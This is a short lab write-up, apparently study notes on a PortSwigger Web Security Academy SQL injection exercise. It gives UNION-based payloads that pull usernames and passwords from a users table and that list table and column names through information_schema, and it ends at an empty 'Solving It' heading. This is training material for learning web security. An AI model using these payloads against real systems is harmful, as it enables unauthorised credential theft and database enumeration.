> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/sql-injection/lab-4.md). # Lab 4 #### The payload ```sql ' UNION SELECT username, password FROM users-- ``` This bolts onto the original query: ```sql SELECT name, price FROM products WHERE category = '' UNION SELECT username, password FROM users--' ``` Page now shows usernames and passwords mixed in with the products. #### The problem it mentions You need to know: * Table name → `users` * Column names → `username`, `password` #### How you find table/column names in real attacks Every database has system tables that store its own structure: **MySQL/PostgreSQL:** ```sql ' UNION SELECT table_name, NULL FROM information_schema.tables-- ``` **Then get columns:** ```sql ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'-- ``` ### Solving It